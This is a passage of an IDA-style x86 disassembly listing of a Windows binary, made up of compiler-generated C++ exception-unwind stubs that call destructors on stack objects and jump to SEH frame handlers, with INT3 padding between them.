; ---------------------------------------------------------------------------


loc_4394F8:				; DATA XREF: ___:0043F974o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404690	proc near		; DATA XREF: sub_404690+2o
		mov	eax, offset dword_43F948
		jmp	sub_437AB8
SEH_404690	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43957B:				; DATA XREF: ___:0043F9FCo
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439586:				; DATA XREF: ___:0043FA04o
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-134h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E8h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404CC0	proc near		; DATA XREF: sub_404CC0+8o
		mov	eax, offset dword_43F9D0
		jmp	sub_437AB8
SEH_404CC0	endp

; ---------------------------------------------------------------------------
		db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------


loc_439820:				; DATA XREF: ___:0043FBD4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-28h]
		and	eax, 1
		test	eax, eax
		jz	locret_43983E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43983E:				; CODE XREF: ___:00439830j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406730	proc near		; DATA XREF: sub_406730+2o
		mov	eax, offset dword_43FBA8
		jmp	sub_437AB8
SEH_406730	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------


loc_439860:				; DATA XREF: ___:0043FC0Co
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-198h]
		and	eax, 1
		test	eax, eax
		jz	locret_439884
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_439884:				; CODE XREF: ___:00439876j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4068E0	proc near		; DATA XREF: sub_4068E0+2o
		mov	eax, offset dword_43FBE0
		jmp	sub_437AB8
SEH_4068E0	endp

; ---------------------------------------------------------------------------
		db 11h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-454h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398AB:				; DATA XREF: ___:0043FC44o
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398B6:				; DATA XREF: ___:0043FC4Co
		lea	ecx, [ebp-424h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406C80	proc near		; DATA XREF: sub_406C80+8o
		mov	eax, offset dword_43FC18
		jmp	sub_437AB8
SEH_406C80	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407080	proc near		; DATA XREF: sub_407080+2o
		mov	eax, offset dword_43FC58
		jmp	sub_437AB8
SEH_407080	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4076B0	proc near		; DATA XREF: sub_4076B0+8o
		mov	eax, offset dword_43FC88
		jmp	sub_437AB8
SEH_4076B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439928:				; DATA XREF: ___:0043FCE4o
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407740	proc near		; DATA XREF: sub_407740+8o
		mov	eax, offset dword_43FCB8
		jmp	sub_437AB8
SEH_407740	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-2C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43994B:				; DATA XREF: ___:0043FD1Co
		lea	ecx, [ebp-2DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-174h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-204h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-294h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-234h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-264h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-15Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-114h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-144h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-330h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-318h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-34Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-12Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2F8h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-300h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4077E0	proc near		; DATA XREF: sub_4077E0+2o
		mov	eax, offset dword_43FCF0
		jmp	sub_437AB8
SEH_4077E0	endp

; ---------------------------------------------------------------------------
		db 0CFh	dup(0CCh)
		dd 90C84D8Dh, 0C5574CE9h
		db 75h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_409660	proc near		; DATA XREF: sub_409660+2o
		mov	eax, offset dword_4400A0
		jmp	sub_437AB8
SEH_409660	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A370	proc near		; DATA XREF: sub_40A370+2o
		mov	eax, offset dword_4400D0
		jmp	sub_437AB8
SEH_40A370	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-38h]
		and	eax, 1
		test	eax, eax
		jz	locret_439D86
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_439D86:				; CODE XREF: ___:00439D78j
		retn
; ---------------------------------------------------------------------------


loc_439D87:				; DATA XREF: ___:0044012Co
		lea	ecx, [ebp-34h]
		jmp	sub_401596
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A510	proc near		; DATA XREF: sub_40A510+2o
		mov	eax, offset dword_440100
		jmp	sub_437AB8
SEH_40A510	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 90C84D8Dh, 0C556CCE9h
		db 75h
; ---------------------------------------------------------------------------


loc_439DB9:				; DATA XREF: ___:0040AA32o
		mov	eax, offset dword_440140
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AEF0	proc near		; DATA XREF: sub_40AEF0+5o
		mov	eax, offset dword_440170
		jmp	sub_437AB8
SEH_40AEF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B070	proc near		; DATA XREF: sub_40B070+5o
		mov	eax, offset dword_4401D0
		jmp	sub_437AB8
SEH_40B070	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439DFB:				; DATA XREF: ___:0044025Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_40155F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B190	proc near		; DATA XREF: sub_40B190+2o
		mov	eax, offset dword_440230
		jmp	sub_437AB8
SEH_40B190	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439E4B:				; DATA XREF: ___:004402A4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_40155F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B250	proc near		; DATA XREF: sub_40B250+2o
		mov	eax, offset dword_440278
		jmp	sub_437AB8
SEH_40B250	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B2F0	proc near		; DATA XREF: sub_40B2F0+2o
		mov	eax, offset dword_4402C0
		jmp	sub_437AB8
SEH_40B2F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439EC8:				; DATA XREF: ___:0044032Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B510	proc near		; DATA XREF: sub_40B510+2o
		mov	eax, offset dword_440300
		jmp	sub_437AB8
SEH_40B510	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439EF8:				; DATA XREF: ___:0040B6D2o
		mov	eax, offset dword_440340
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439F30:				; DATA XREF: ___:0040B9B8o
		mov	eax, offset dword_440370
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C440	proc near		; DATA XREF: sub_40C440+2o
		mov	eax, offset dword_4403B8
		jmp	sub_437AB8
SEH_40C440	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A78h]
		jmp	loc_401B13
; ---------------------------------------------------------------------------


loc_439F7B:				; DATA XREF: ___:00440414o
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439F86:				; DATA XREF: ___:0044041Co
		lea	ecx, [ebp-0A54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C4E0	proc near		; DATA XREF: sub_40C4E0+8o
		mov	eax, offset dword_4403E8
		jmp	sub_437AB8
SEH_40C4E0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CBF0	proc near		; DATA XREF: sub_40CBF0+2o
		mov	eax, offset dword_440430
		jmp	sub_437AB8
SEH_40CBF0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-260h]
		jmp	loc_40228E
; ---------------------------------------------------------------------------


loc_439FEB:				; DATA XREF: ___:0044048Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439FF6:				; DATA XREF: ___:00440494o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A001:				; DATA XREF: ___:0044049Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A00C:				; DATA XREF: ___:004404A4o
		lea	ecx, [ebp-278h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CC90	proc near		; DATA XREF: sub_40CC90+8o
		mov	eax, offset dword_440460
		jmp	sub_437AB8
SEH_40CC90	endp

; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A04B:				; DATA XREF: ___:004404DCo
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CF40	proc near		; DATA XREF: sub_40CF40+2o
		mov	eax, offset dword_4404B0
		jmp	sub_437AB8
SEH_40CF40	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A07B:				; DATA XREF: ___:00440514o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A086:				; DATA XREF: ___:0040CFC2o
		mov	eax, offset dword_4404E8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D210	proc near		; DATA XREF: sub_40D210+2o
		mov	eax, offset dword_440520
		jmp	sub_437AB8
SEH_40D210	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-16Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A0EB:				; DATA XREF: ___:00440594o
		lea	ecx, [ebp-184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D660	proc near		; DATA XREF: sub_40D660+2o
		mov	eax, offset dword_440568
		jmp	sub_437AB8
SEH_40D660	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-604h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-634h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-664h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-67Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-61Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-694h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-64Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40DC20	proc near		; DATA XREF: sub_40DC20+2o
		mov	eax, offset dword_4405D8
		jmp	sub_437AB8
SEH_40DC20	endp

; ---------------------------------------------------------------------------
		db 27h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A228:				; DATA XREF: ___:0044069Co
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E2F0	proc near		; DATA XREF: sub_40E2F0+2o
		mov	eax, offset dword_440670
		jmp	sub_437AB8
SEH_40E2F0	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A278:				; DATA XREF: ___:004406F4o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E870	proc near		; DATA XREF: sub_40E870+2o
		mov	eax, offset dword_4406C8
		jmp	sub_437AB8
SEH_40E870	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A2C8:				; DATA XREF: ___:0044074Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40ED00	proc near		; DATA XREF: sub_40ED00+2o
		mov	eax, offset dword_440720
		jmp	sub_437AB8
SEH_40ED00	endp

; ---------------------------------------------------------------------------
		align 10h
